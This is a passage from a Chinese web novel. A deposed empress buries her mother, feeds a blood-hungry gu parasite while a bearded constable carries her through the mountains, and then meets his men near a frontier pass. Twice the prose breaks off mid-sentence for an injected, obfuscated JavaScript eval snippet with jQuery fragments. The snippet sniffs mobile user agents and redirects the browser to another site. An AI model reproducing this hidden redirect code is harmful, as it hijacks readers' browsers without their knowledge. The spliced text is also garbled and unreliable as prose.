她嘶嘶喊:“母后……母后……母后……我是簪儿啊。”伤心欲绝的她伏在无脸婆婆身上泣不成声。 凌云挖好坑,将杜鹃的尸体放入坑,再来搬无脸婆婆的尸体。 他毫不怜惜地扳开金簪的手,没多余的好奇心去了解老婆子和金簪的关系,只将无脸婆婆的尸体埋入坑。 金簪抓向无脸婆婆的手,嘶声喊道:“啊……母后……你放开她……母后……” 凌云的手一僵,愕然看向金簪,再及手中无脸婆婆的尸身。 他好像明白无脸婆婆在上山前拦道的真正用意。 凌云自随张廷玉一家前往学海道府的余阳郡后,再没见过无脸婆婆。这次,他从学海府入京,在街上偶遇这个眼盲口哑的无脸婆婆。 曾经铁老大很照顾无脸婆婆,说她像是他从未见过的娘。铁老大投奔石鸣春时还想带走无脸婆婆,却被无脸婆婆拒绝。 凌云在街上偶遇无脸婆婆,出于善意救济老婆子,不想被无脸婆婆道破玄机。 无脸婆婆以手比划、临空写字,说是要帮忙。而她说的忙便是帮沈太傅,完成他的救帝计划。 彼时,凌云挺诧异无脸婆婆知道这么多事。 如今,一切有了答案。 天下最私密的事都瞒不过有心人。何况,这是谍探之首出身的有司赤燕。 凌云只叹一句:作恶多端的轩辕太后有司赤燕,曾经害多少京都的妙龄女子,弄得人家破人亡。她竟也有沦落京都街头的一天,四年间受尽人间苦楚。天理昭彰,善恶有道。 金簪的心好似被抽离身体,泛起不如随母后死去的意思,直至远方的狼嚎声从朦胧的天色里传来。她的心好似又被一道使命拉回身体,绝望的哀伤在清醒的眼神中退却。 【我轩辕金簪,于天下人前立誓,此生必夺回西六府三城,驱摩尔狼人于天阙山外。】这是登令楼上的豪言壮语。 “狼……狼叫声。”金簪哽咽地低声道。 凌云一愣,侧耳一听:“深山常有林狼,离得尚远。” 金簪跌撞起身,摸把眼泪。她亲手将有司赤燕拖入坑,退下身上的锦袍,将它盖在有司赤燕和杜鹃的身体上。 她忍受内心巨大的痛苦,嘶声喃道:“母后,你说得对,簪儿没用,最没用的女帝。但是,孙太傅、凌少保,沈少傅,他们教朕,天子言出九鼎,不可失信于天下。簪儿对不起您的期望,也对不起杜鹃、南叶她们。但是,簪儿……想要活着,想要像楚刘素太保一样,堂堂正正地立在朝堂、世人的面前……即便是死,也要死得其所……呜……对不起,母后……” 眼泪随哽而下,再次湿了金簪的衣襟。 无力感和生的意志冲刺她的周身,对抗之中的她伤心欲绝,仿佛被撕裂成两半:不如我就此随母后睡去。不可以,我要做的事还没做完,怎么能去死? 凌云仰面压下随她情绪泛起的酸楚,上前再拉金簪。 他将沉浮情潮的金簪拖放在树下,拾起铲子开始填坑。 耳闻抽噎声,他回头道:“与其无用的哭泣,不如捡些树叶过来盖在土上。你不想她们被慕容涛挖出来吧。或许,为人子女,你不想替她们报仇。” 金簪的手捏紧甲套,闻言起身去捡落叶。 然而,她刚有动作,人就两眼一黑,昏厥过去。 凌云一把扔掉铲子,将人抢抱而起。 “喂……轩辕金簪,轩辕金簪……”他喊不醒人,一拳捶在地面。 他瞧着填了一半的坑,先将人放下,快速干完活。 待坟墓的标记做好后,凌云背起昏厥的金簪,向约定好的目的地行去。 ** 绕过秋山就是小阳山,那是一处极小的山地,被藏龙山、秋山围拢的地方,正是凌云同下属约定的会面地点。 半道上,他的人陆续出现,替两人断后以及扫除痕迹。 晚间,山林湿冷幽晦,凌云死死地盯在轩辕金簪沉睡的脸,几次拔出匕首在她的脖子间滑过去,又转回手中的木偶。 他也不削,只一刀一刀地划着。若是削制,地面会留下木屑痕迹,恐被北延兵发现踪迹。在这山中寒夜,几人还不能生火。 “我说,头儿,咱们费老大劲将这个……”陆鱼儿实在对形容枯槁的女帝尊敬不起来,咽口吐沫道,“将这……女人救下,你数次看她,又提刀在她的脖子前来回挥蚊子、飞萤。我瞧着头儿你的问题很大啊。 你这是要帮她还是怎么滴,在纠结什么呀?” 陆鱼儿也是有眼力见儿,瞧凌云的动作分明想要宰了女帝。 凌云睨他眼,淡色道:“明日个你带何秋刀先往前走,在小阳山那边与江城子汇合。我们以行脚商的身份出西行关,入胜争道府,经洛川江返回学海道府。” “吼吼,出来半年,终于能回去了。不过,头儿你规划的路线够绕够长,途径数个大势力。”陆鱼儿见凌云绝口不提女帝,也顺了他的意思,笑道,“咱们兄弟几个知道你要帮县府君打探各地的情况。” 后半夜,凌云将金簪背上,趁夜赶路。 断后的何秋刀来报,慕容涛的兵马失去方向,返回英雄大道,恐怕要封锁英雄大道。 凌云颔首:“慕容涛从小韩家关入中原,西行关已在北延兵的管制。我们得赶在他的令兵将消息带往西行关前出关绕道。陆鱼儿,你脚程快,同秋刀先走。” “是。”陆鱼儿带上何秋刀,快速钻入深山,消失不见。 天亮时,金簪是被饿醒。 那股饿,像是数年没吃饭,饥得人手脚发软发颤,连肚腹都在嘶嚎。 “我……好饿好渴,有吃吗?”在饥饿的控制下,她毫无障碍地问了出来。 凌云没理她,继续埋头走路。 他必须要赶在慕容涛的人到达西行关前出关,而背上这人连七十斤都没有,只一张皮覆在骨上,被折磨地够够,倒也省力。 金簪饿得眼冒金星,推在眼前人的肩头试图下地。 她的双腿被这人狠狠地抓着,一点没松。大掌搁腿骨,不仅痛还痛得人越发饿。金簪饿得受不了,张口往他的肩头咬下去。这股子从骨髓里生出来的饿,可以令她啖血食肉,便是生食都无妨。 “啊……”凌云一把将人甩下背,转手又下意识拉住人。他将口含血迹的金簪猛得扯近前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059964|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伸向她脖子的手一滑,抓住她的肩头,凶巴巴道,“你属狗啊?” “我说了,饿,好饿。”金簪的双腿一软就向湿滑的泥地上砸去。 凌云一把将人提起,用力夹在怀,快步向前走去。 “湿林里没这么容易找吃,穿过这片林再说。” 然而,金簪像是被饥饿控制住了,瞧着脸颊旁精骨分明的手臂腕骨,想也不想就再次咬上去。 这次,大量的鲜血流入她的齿口,一股悸动和鲜活自四肢流窜而起。 酥麻的感觉在心头骚动。 她一连喝了好几口鲜甜的鲜血,终于将那股钻心蚀骨的饥饿感压下去。 理智回笼,金簪诧异这个男人竟毫无动作。 凌云的另一只手正抚在搅动的心口位置。 从蜀地出来的游人帮凌云诊断过,说他中得是情蛊,只有遇到雌蛊才会心脏发烫且悸动,而且雌蛊一旦死亡,被种入雄蛊的人也会殉情而死。 他至今都不知道雌蛊在谁的身上,只当那死太监梵阳炼蛊炼的失心疯,当街戏耍人。 现在,凌云终于知道雌蛊在谁的身上,在她轩辕金簪的体内。 一种被耍弄的无力感充盈在凌云的心间,只觉得老天真是太过偏爱。偏爱这个可恶的女人。 “嗬嗬……”凌云被咬的伤口不仅不觉得疼,还传上一股麻醉后木木的感觉,像是某种母虫在掠食前先麻痹猎物。 他还感觉到一种奇怪的液体进入血管,而鲜血随她的吸吮流出体外。这点血不算多,还不能让他感到冷意。 凌云手腕上的麻痹感伴随时间的流逝在减退,细嫩的唇齿啃食的酥痒从接触的地方泛上来。 这种感觉非常新鲜,令人产生某种在黑夜里无法疏解的羞涩冲动,这让凌云非常难看地跌倒在地。他怕站着出更大的丑。 “嗬嗬……你……你咬够没有?”他咬牙低斥道,【不疼还痒,什么情况?】 金簪垂目在手腕上的血口,唇齿离开时下意识舔了一下。 这一下让凌云手腕上的细碎整齐的齿洞不再流血。 金簪诧异地盯在他的手腕,还戳了一下:“吸……干了?” 她抚摸在唇角的血沫,迷惘退去,理智渐趋回笼。 凌云还没说什么,这个女人仿佛受惊一般往后退一步,搞得他才是那个嗜血魔人。 金簪“啊”了声,后知后觉地呕起来。 凌云的手得自由,深吸口气平复体内的异样。 他慢慢地站起来,瞧向呕不出什么东西的金簪,咬牙道:“你……给我下了什么毒?” “毒?”金簪奇怪地看向他,摇头道,“哕……我没有。” 她用手扣唇齿,但手实在太脏了,扣不下去。心下一横,金簪放弃矜持,敛眉道:“我不知道你说什么。我还饿,你给我找点吃食。” 凌云将上下唇一碰,什么都没能说出来。 他闭眼深吸口气,快步向前走去。 金簪跌跌撞撞地尾随在后,瞧这家伙丝毫不减速,咬牙硬撑地跟上去。 她一手抚在肚腹,一手将轩辕枪当爬山杖,一脚深一脚浅的艰难走着。 密林幽深,光线不明。 金簪又是个少走山路的,脚软体虚的症状没完全恢复,一个不慎被树根一勾。 “啊……”她摔得够呛。 凌云的脚步猛地刹住,磨着后牙槽,深吸口气后转身回来。 他拎起金簪,将人背上,快步向前走去。 金簪趴在他的肩头,将轩辕枪变短,枪尖差点就戳进凌云的脖子。她哑口,喃喃道:“对不起。” 凌云闷声不言,只背着她继续赶路。 “你……叫什么?”【满脸的胡子,竟然一点不凶,还挺能忍。】 金簪的目光落在他后肩的血点处,这个地方在慢慢地沁出血沫,说明她刚才咬得极重。 【这人手腕处的伤口更深,却不流血了。】 金簪清醒的脑子里闯入这个想法,悄咪咪地吐了点口水,滴在男人后肩的伤口,看着涎水渗进去。 她一边觉得这法子和行为……无法形容,一边听男人回话。 “张停云。学海府余阳县的一名捕快。”凌云一口气回完,察觉后肩酥麻,将人往后背上提了下,加快步速。 然而,金簪还有好多问题。 她又问道:“为何不在崖下设置承重更好的网?” “我和沈太傅约定在繁花镇碰头,但是等了一日没见卫南勋来,就知道出事了。我赶回京城,听闻慕容涛带三千人亲自搜秋山,便知你定在山上。我正要上山,碰见婆婆。 她住在我曾经的秋山脚下的家中,说愿意报答我帮我的忙。 我想她消息灵通,眼瞎口哑却心有七窍,就让她上秋山。 北延兵见她不觉是威胁,而她更容易缀在北延兵的后面找到你。 至于藤网,那叫杜鹃的女子砸下来时我还没编完。 待婆婆砸下来时,来不及,来得及也无用。”凌云知道婆婆是死后被扔下来。至于结网,在无脸婆婆上山前,两人就已约定临时的救人计划。 慕容涛的兵马围山,除了像鸟儿一样飞遁,根本逃不下秋山。 凌云想起死得都是轩辕金簪的亲近人,低声道:“抱歉。” 说完他又觉得懊恼,同这个杀害祖父的女人道什么歉。 金簪愣了下,随即垂目。 【母后落得如此下场,定是梵阳搞的鬼。全是我的错。】 良久后,她压下内心的愧疚,低声问道:“余阳县……在学海道府。学海道府距离京师上千公里,你如何会来京都?” 凌云的足下一顿,密林不见阳光,密集的阴影和湿漉的空气令他极为不适,也非常的烦躁。他抬步上路,边道:“我爹叫张廷玉,十二年前上京投奔风瑶营,时运不济,赶上风太宰一家独大,入不了伍。那时候,他落魄至极,沈太傅救济了他。他对我家有恩。 后来,我家返回余阳县,年初时收到沈太傅的来信,应约赶来帮忙。” 然则,事实是确实有人对张廷玉有恩,但是这个人是凌飞。 凌云将这个故事套在沈长清身上,也就打消金簪再探他真实身份的底。 他本意是来京都,寻机杀梵阳和女帝,却发现沈长清落魄街头,临字画画为生。 凌云心中不忍,想起当年沈长清安葬祖父和梅姨等人的恩情,才在沈长清面前露脸,又被他猜到身份。 凌云的本意是带沈长清离开京师,去往学海避世隐居。 但是沈长清将这个活下去的机会和这份恩情给了女帝。 他希望凌云可以像他祖父凌飞一样效忠女帝,救她出宫。 凌云可笑地想:效忠?呵呵……如高氏、沈氏、凌府、祈家一样拿全族全府的命效忠吗?不可能。 【我暂时不向她报祖父之仇已经是不孝,何谈效忠女帝?大周都亡了,那里来女帝。】 金簪不知道这人的内心如此丰富。她想起得是沈长清等人的牺牲。 “我……真得是太没用了。”金簪哽声说完,伏在凌云的肩头无声地落泪。 凌云感觉心脏又激跳了下,闭眼沉气,继续往前走去。 两人过了这片密林湿地,入了一处山谷溪涧。 凌云将金簪放在石旁,见旁边有蛇,想也不想就射出筒弩。 然而,那蛇本就要逃,趁势躲开这一箭。 凌云沉默了一瞬,转头望向溪涧水坑里成群结队的刀鱼,从腰侧取出方管。 在他的巧手变化下,这铲子变成一柄短柄三棱叉,刚好拿来戳鱼。 38. 潜林 苍山斑驳,浮烟乘云。 金簪的身体虚弱,但齿口灵活。她一条又一条地吃着小鱼,便是半生不熟都觉得无事,只管饱腹,压下肚腹里的饥饿感。 凌云都在怀疑“我的厨艺赶得上御厨了?” 他观察金簪许久,才试探道:“你这……状态不太对。” 金簪吃鱼的动作未停,颔首间含糊道:“高苗说过会治好我。” 她将手掌一摊,露出掌心细而短促的红线。 手被凌云抓去,金簪又挣出来,还顺道取石板上的烤鱼。 她趁换口的间隙,快速道:“我想过了,这应该是蛊王的命线,在沿我的命线游走。 蛊王入体,逼出我体内许多的蛊卵虫子。我的身体因常年试毒而体弱,蛊王入体解毒,毒被清理后让我觉得很饿很虚。” 说着,她吃完右手的鱼再吃左手上的鱼,将沾过鱼腥的手指都舔了一圈。 凌云的目光落在烧红的石板。这些鱼还没熟呢。 他感受林风钻进胡须的凉意,再次启口:“……蛊王有什么副作用吗?” 金簪吞下口里的鱼肉,拉扯唇角,枯槁的脸上有了丝红色,扬唇道:“特别饿,饿得不寻常。除此外,大概可以帮人止血。”她的目光落在他的后肩,那地方果真不流血了。 凌云摊开手掌,露出手腕的齿伤。腕上有齿洞的伤口已经愈合,留下淡淡的肉粉色,与旁边被海上太阳晒黑的肌肤截然不同。 他将手指在石板上一按,滋啦声作响,连眉都没皱,将烧伤的手伸到金簪的面前:“试试。” 金簪咽口口水,只觉得这人……挺不正常的。 她吐点口沫在伤口处,撇开脸道:“太干了,只有这么多。你自己涂。” 凌云真没计较,将那点口沫涂抹在伤口处。果然,烧伤处感觉微凉,以肉眼可见的速度在收缩恢复。 他的双眸微亮,被这能力彻底惊艳。耳闻她的口水少,拿了石槽换石板,烧起水来。 金簪瞧他举动,赶紧道:“我还没吃饱。” “生的熟的,对你来说有差别吗?”凌云反口回去,见她沉默,轻咳了声又另起火坑给她烤鱼。 金簪沉寂的脸上露出一丝笑容,轻声道:“谢谢。熟食会让我觉得没那么怪。啊……传闻金蝉蛊可以解百毒,但没有治百病说。” “既是蛊王,便是蛊中强者。听闻月罗府盛产一种特别的雪蝉,在西南几府卖得极好,碾碎磨药后可以止血生肌,为月罗府带来不少的钱财。” 凌云给她稍许解惑,也不深入探索。他瞧向金簪周边爬到一半就回头的虫子,拉把毛胡子道:“百虫不近身。这蛊的用处很大。” 【第一晚时,女帝身边还没出现这状况,依然有飞萤缠她。从昨天开始……说明她服用蛊王的时间不长,那口吐在溪涧的黑血里还有虫子……应该是被蛊王赶出体外。 那么,情蛊是否也被赶出体外呢?】 凌云思及此,面色微僵。 若是那该死的雌蛊跑到什么东西身上去,岂不是玩完? 金簪通过“蛊王”二字联想许多,以及那两口黑血。 她恍然道:“原来,这些年我被梵阳下这么多蛊虫。”理清思路,她凄凄而笑:“妇人之仁,慕容涛真是没说错。” 她吃饱后背靠树干睡去,人变得易饿也易困。 凌云蹙眉,上前拍下她。 金簪头一歪往旁边斜去,被凌云一把托住脑袋。 凌云的目光从她那干脸皮上挪开,暗道:这般情况,肯定赶不上北延的令兵,得另想办法出关。 他又喊声金簪,见人不醒,放弃继续上路的想法。凌云坐在金簪的旁边,背靠树干,由她靠在膝上,闭眼假寐。 翌日,金簪在阵阵的鸟鸣声中醒来。 林里的湿冷令她颇有几分不适,但没有因此风寒感冒。 她摸把脉,沉吟一会:脉悬而快,比起在山洞里醒来时强劲得多。 血肉!这具身体在金蝉蛊王的作用下多食血肉,应该会更强劲。 病弱的前三年,时睡时醒,倒也了解点蛊的知识。 金簪走至溪涧边,捧水洗脸。 一瞬间,她看清水中的容貌,枯槁的肌肤覆在脸骨,脸颊深陷、眼窝内凹……几无人样。 “慕容涛真是没说错。我这模样同老妪无差。幸亏,那日母后看不见啊。” 金簪想起崖上一幕,眼泪砸进溪涧。 凌云拎野兔走回,瞧她对影自怜的模样,轻咳出声:“喝兔血吗?” 金簪刚要摇头,却咕噜地吞口水。 她心道蛊王作祟,理智让她拒绝道:“我……” “应该是蛊虫在影响你。你若没有食物供给它,恐怕它要吃你。”凌云取出方管,按在机关处,弹出一截尖刺。 他直接戳进挣扎的兔子颈项,朝金簪道,“过来。” “我……”金簪的理智在迟疑,腿顺心意走上前。 她咬牙,内心挣扎了下,还是伸手取过毛兔。待凌云转过身去,她在刺破的口子处吸吮起来。 兔血入喉,身体像被重新启动,四肢都变得温暖有力。 金簪瞥见手臂上的血管,皮肤在鲜血的作用下变的柔滑通透,几能看见暗青色的血液。 她背过身,抹去唇角血迹,将兔子还给他,低声道:“我……会变成怪物吧?” 凌云将兔子剥皮洗净,垂目手中的兔肉,未做应答。 于她,他不想牵涉过深,完成沈长清的恩情交易,再往南蜀走一遭,若能解开情蛊之毒,再寻她复仇不迟。 吃过烤兔肉后,金簪的力气恢复许多,随凌云继续上路。然而,走不多远,金簪就感觉身体虚弱,需要睡眠来缓解身体的疲乏。 凌云见状,只能背上她赶路。 这一次,他明显感觉这个女人的体重增加了一点。 【若是喝血吃肉可以令蛊王促发她体内的生机,便能恢复她原有的模样。】 他停了一下,思索道:“慕容涛见过你现在的样貌,令兵拿得必然是你现在的画像。若是你变了形貌,或许我们就能蒙混出关。” 思定后,凌云选择溪涧、野物多的地方露宿,再猎取血食和肉于她吃。原本十五天的山路,在喂养金簪的目标下,拖延至近一个月才走出山。 这日,山川叠嶂,金簪早早地醒来。她发现那络腮胡不在,在溪涧上洗了脸,退了衣。 她将衣服在溪坑里漂洗干净后晾晒在向阳的石头上,而后人也爬上去。 这地势偏高,刚好是一处下山凹口,可见远山青黛。 “离开金宫,这个世界原来这么大。”她出神地看了一会,耳闻鸟鸣、溪涧曲乐,展臂看向充盈血肉的肌肤。 肤质如玉,白中透粉,像是十五岁时的饱满感,甚至比那时还要润透。她拿指尖刮了下肌肤,顿时出现一条红痕,又在肤下血色的浮动下渐趋恢复原样。 “蛊王,果然厉害。” 金簪扬眸远方苍山,缓缓地伸展手臂,旋起轻盈的绿腰舞。 她像是山中的妖魅,赤身旋舞,追逐溪水的节奏;萦臂舒展,随鸟鸣歌声绕颈而蹈。 舞姿极尽舒展身体,神色极尽肃穆虔诚。心中萦绕得是国破山河的悲,众亲皆离的哀。 金簪越跳越快,至极处脚下一软跌匍在石上。她伏地耸肩,无声落泪。 半空一声鸥鹭长鸣,令金簪仰首望去。她再次爬起来,想起舞凰殿里与莺歌斗舞时,彼此在对方的姿势中学会得展现女子妖娆魅惑的舞蹈。 舞姿至纯至美,至清丽至妖娆,看似俗却令舞者生出高雅心。 金簪旋腿而起,如蛇一般妖娆向上。她不再去想破碎的山河,离开的亲友,只因舞而舞蹈。 当她向天奉献身心,向神灵屈指而扬时,目光与那树荫下不知站多久的男人对上。 彼此都好似愣住了般。凌云率先背过身,耳闻嘻嘻笑声,不解地瞥眼望去。 “啊……”金簪仰面躺在溪石上,任由阳光抚摸身体,尽情的舞蹈令她生出畅快感。 她好似并不在意被人看去身体,只低低地笑道:“若是祁少府给我击鼓,就更好了。”良久后,她站在石头上,将还潮湿的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059965|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衫围在胸前、腰间,瞧着那个不知要站多久的男人道,“你手里的皮子是打算送给我吗?” 凌云这才反应过来,捏紧手中用藤绳缝制的杂色兔皮袄子,轻轻地点头。 金簪看着他侧身的模样,想要考验一下他,仰首道:“转过身,看着我。” 凌云摆愣了两下,顺着心中原始的欲念,转头望去。沐浴光下的女人露四肢,用单衣围住要紧的地方。 这般的她,目光像是圣洁的天女,身姿却是引人堕落的魔女,像她刚才那些诱人的动作。 凌云的眼神垂落,踩溪涧乱石上前,至半丈距离后将皮子上抛,目光不免落在她修长充盈血肉的长腿,心神微荡,赶紧转身离去。 树后的凌云深吸口气,咽口吐沫才觉出口干舌燥。他的手伸向腰间的竹筒,却不知为何往下一游,摸到无法自控的硬实处。他的掌心发烫,赶紧取水咕噜噜灌下去。 他捏把潮湿的手掌,暗自咒骂了声该死,就向林里深处走去。 【什么女帝,说白了,还就是个妖女。】 金簪披袄子,穿上鞋子后走至溪边,遍寻不见落腮胡。 她看到树边被丢弃的瘸腿兔子,想起一月来张停云剥兔皮的场景,试着拿起它,走到溪边清理毛兔。 凌云回来时,金簪已经穿戴整齐还架棍子烤肉。 他不自在地轻咳声,走至一旁:“明日就能出山,与我的人汇合。” 金簪轻轻地嗯了声,扬眸看向他,露齿含笑:“我会烤兔子了。” 凌云的呼吸轻滞,心在急速剧烈地跳动。他好像回到那个登令楼前的塔楼下,被那道光深深地吸引,像是火山骤然爆发,令人难以克制地慕上她。 他痛恨这种无法自控的感觉。 金簪察觉他发呆,垂目感怀道:“此身天地一皮囊,何处男人不喜朕。呵呵……” 这话像是一巴掌拍在凌云的脸上,火辣辣地烧着疼。 他像是要争回一口气道:“不是人人都看皮相。” 金簪颔首,平静道:“你是人人。” 凌云懵圈,又听金簪道出炸裂地一句。 “你敢说,你没看中我的皮相,想象我的模样在解决你的男性欲望?”这一刻,金簪好似回到高高再上的位置。 但她知道,这个高乃是女性用色奴役男性的高,如莺歌教过得那套。 凌云的脸皮尚薄,猛得跳起来。 他那清澈的眼神好像受惊吓的狗子,失语到脑子都空了。 他想大声说没有,但是,林子里发生得一切是真实的,无法反驳。 金簪洞悉地垂头,想起凌少保曾经说过的话:殿下善于察人心,以人心谋策。 此时,金簪不想什么计策,像是过来人般自若地摇头:“你看着满脸胡子,心肠却软。有二十了吗?” 【没二十就不能肖想吗?呔,我在想什么!】 凌云的回答是转身,向林里走去。 耳闻身后传来轻若银铃的笑声,他的心似被夏日的热风拂过,滚烫滚烫的,急需一点冰凉来浇熄。 金簪轻轻地摇头,在烤着的兔子上撕了一条肉,入口咀嚼,淡而柴。 她低喃道:“味觉恢复了。啊,忘记了,盐粒在他的身上哎……” 本该今日出山的两人因这茬又生生地在林里耗了一夜。凌云回来时,见着靠树睡着的女人,长出口气。 他将兔皮缝制的鞋子放在她的脚旁,坐在一旁添柴火。 金簪听到动静醒来,自蛊王吃饱后,身体恢复如常,生理状态在向平常人靠近。 她低声道:“少年人,姐姐劝你一句话:莫要心软、莫要亲信,美丽的皮囊下藏着得或许是刺向你的刀子。” 凌云不语,垂目落在燃起的火苗。汹汹的火上飞来几只山中夜蛾,被风一撩,火舌吞没夜蛾,将它们缠进绝望。 如同此刻的他。 【出关,解蛊,分离。她寻她的道,我回我的山野。不对,不找她报仇吗?仇,仇……】 一点痛在凌云的身体里悄然而生,像是情蛊在搅动他的心脏,近乎有些难受。 39. 西塞 西行关附近有一座城,名为西塞城。 江城子在西塞城外三川山的凹谷里来回走动,朝烤鱼的陆鱼儿喊道:“我说,你不能回去接应下头吗?” “接个啥,头儿才是山里长大的孩子。我们是海边的人,能在深山密林里摸出来就不错了,我不回林里喂蚊子。何况,头儿身上多得是乱七八糟的武器,他怕什么。” 陆鱼儿将烤鱼递去,嘻嘻道,“近来吃多了山野,怪想念家乡那口,过来尝尝河鲜。哎哟,你过来呀。” 江城子送他白眼,一把夺过鱼棍,啃吃起来。 “啧,没有海鲜好吃。不过,河鲜腥味确实能解思乡情。” “是吧。”陆鱼儿哈哈大笑,烤起另一条鱼。 何秋刀买干粮回来,将袋子往两人的脚旁随手一丢。 他脸色不好道:“吃鱼不喊我。我告诉你们,这次出不了关了。慕容涛带兵北上打冯萧的定山关。他派手下大将慕容锤镇守西行关,暗中拿着画像在查人,瞧着是不杀女帝不罢休啊。” 江城子从布袋里取出馕饼,啃两口道:“女帝真像传闻一样,身负金翅,貌若神灵?” 何秋刀和陆鱼儿对视眼,偏就不告诉他真相。两人笑着,你一言我一语道: “对,美极了。几乎是……” “沉鱼落雁,闭月羞花。” “嗯嗯,听头儿说,人掉在藤网上,藤条都被美得抽芽长叶……” “对对对,女帝美得呀……慕容涛都想跳崖追她……哈哈哈……” …… 江城子无视调侃的兄弟,目光一远,看见林里走出的男女。 毛脸男就不必看了。头儿太年轻,压不住刺头下属,想出蓄胡子壮气的招儿。 他的目光落在披杂毛兔皮袄子的女子身上,皮毛色虽杂,却将莹莹如玉的女子衬得纯美动人。只一根松枝挽青丝,像是从山里出来的精魅,好看得能让藤条重新抽芽长叶。 【我就是那根重新抽芽的藤条。】 江城子想道,一时间连眼睛都不曾眨下。 秋日的光打在金簪的脸面,仿佛晶莹剔透的骨瓷。若是细瞧,肌肤下的粉嫩肉色像是美丽的云霞。这般的美像是大海深处的蔚蓝宝石。 “不不……她的肌肤像是白石滩上的晶莹细沙,唇角的笑像是海面粼粼的波光,目中的润泽是天上神灵落在海上的繁星。 她是……海神娘娘。”江城子伴随思绪的活跃,激动地呢喃出声。 陆鱼儿和何秋刀听傻眼了。 何秋刀调侃道:“江城子就你读书多,还会做白诗了。” “哈哈哈……”陆鱼儿捧腹大笑:“待你见过她,保管吓一跳。你会知道传闻有多不靠谱。” 如玉的手从陆鱼儿侧颊后伸来,细腻的肤质将大笑的陆鱼儿震在原地。他顺江城子的白诗,喃喃道:“柔软的……海沙……” 他已经忘记后面的词。 玉手毫不费力地拿走陆鱼儿手里的鱼棍。 金簪舔下唇齿,朝一声不吭的凌云扫去眼后张口吃起来。 “什么……人啊?”陆鱼儿猛地跳起来,对上一双莹莹若秋水的双眸。 他倒吸口凉气,再及那闭月羞花的晶莹脸盘,一时憋过气。 何秋刀从愣神中反应过来,低喃道:“我的海神娘娘,真是海神娘娘……眼花吧?” 凌云一巴掌拍在陆鱼儿的脑袋,朝手足无措的江城子道:“你们一群大男人,在背后编排什么。秋刀,快给我们弄点吃的东西。另外,西塞城什么情况?” 何秋刀没听凌云的话,指向金簪“啊啊”两声,转过舌头道:“她……不对,女帝呢?” 金簪啃完鱼,绕过几人,翻出布袋里的馕饼。她揭去饼子上的焦色,试探咬了一口,有一股真正食物的味儿。随后,她大口地吃起来。 山中一月,她已经从凌云处看会野外生存手法,如今要亲自动手。 她也不回应这些人的话:世上哪还有什么女帝。 凌云耳闻这话,想起近一月猎兔抓猪的辛苦经历。 金簪这一身血肉的背后是近五十只兔子、十只野猪的命。它们才是充盈金簪血肉的功臣。 凌云拿下巴一点金簪,将脚踹向猛然跪下的江城子,蹙眉道:“你跪什么?快起来。” “女……女帝啊。”江城子理所当然道。 他是几个人里唯一一个没见过金簪病愈前的枯槁模样。 金簪咽下馕饼,轻轻地呵笑了声。 “呵……” 声若金石,笑暖入人心,令陆鱼儿和何秋刀再次傻眼,有种口干舌燥要吞口水的冲动。 凌云看不下去,抓把鬓角的乱发往后别。这些人好像在印证女帝说过的话:色字上头后,男人将想法全写在脸面。这一帮子混人。他将竹筒的塞子打开,把水往两人的脸上泼去,漏过了江城子。 “你们给老子清醒点,现在是花痴的时候么?” 凌云口上念着,眼神瞥向自顾吃饼的金簪。 昨日前,他也是这些人当中得一位,一路行来,时不时对着她发呆。 脑子里挥之不去是她在日光石上跳舞的场面。 第一段舞柔美却哀绝,像是祭天舞。第二段舞妖娆而诱人,展现女子生来的成熟之美。 若说两段舞都是金簪所跳,在感情上,第一段舞是宣泄,而第二段舞是千帆过尽后毫无畏惧地尽情挥洒,展示得是舞蹈表达的人体之美。 那刻,凌云被带回登令楼前的塔下,仰面那道旋转着的高贵的金色身影。一个用全力在展现身姿力量的美妙女子,在人潮声里忘我专一的舞蹈。 悸动的心再次为她燃烧。 溪水为曲,鸟鸣为歌。她是那么的轻盈美丽、高贵优雅,像是一场无法抵达彼岸的梦。 何秋刀和陆鱼儿终于从震惊中清醒过来,江城子平复乍见美人的悸动心情,眼神在兄弟们面上溜了一圈,呵呵笑了声。三人围坐在石头上,齐齐看向凌云。 彼此眉眼耸动,又一致望向吃饼的金簪。 【头儿看呆了。】 【是啊。两人在山里一起走近一个月,不知道都发生些什么?】 【山林野地没个女人,头儿虽年轻也是正常男人,这呆样怕是什么都想过吧。】 【嘻嘻嘻……】 【哈哈哈……】 金簪吃完馕饼,见这些人一言不发地坐着,只双眼滴溜溜地转,各自的面上也是精彩纷呈…… 她的脸上一片平静,眸中敛去担忧,平常道:“不知几位接下来去哪?” 凌云反应极快道:“你想去寒雪关。” 金簪莞尔,这年轻人看似粗鲁,实则非常细心。他得一双眸是这些人里最为宁静清澈,但一张脸因胡须,难以窥伺神情内心。 江城子的眸光一跳,比起这些人,他欣赏金簪的美貌,但是……更理智。 他阻止道:“不行。雪狼国人正在攻打寒雪关。若是寒雪关被攻破,西行关是最后的防线。近日,若不是慕容锤的人马把持关隘,百姓早收拾家当逃了。” 金簪垂眸,低声道:“西行关地势平坦,雄踞英雄大道两侧。城外四面多山间夹凹谷地,易藏守不易强攻。但是,翻山对于摩尔人来说不难。 西行关挡不住他们的狼军,若要阻止摩尔人入关,必须将他们挡在寒雪关外。” 陆鱼儿和何秋刀相看眼,贴耳道:“她好像真是女帝。” “是吧,气质骗不了人。传闻也可能是真呢。” “她真能展出金色翅膀?” 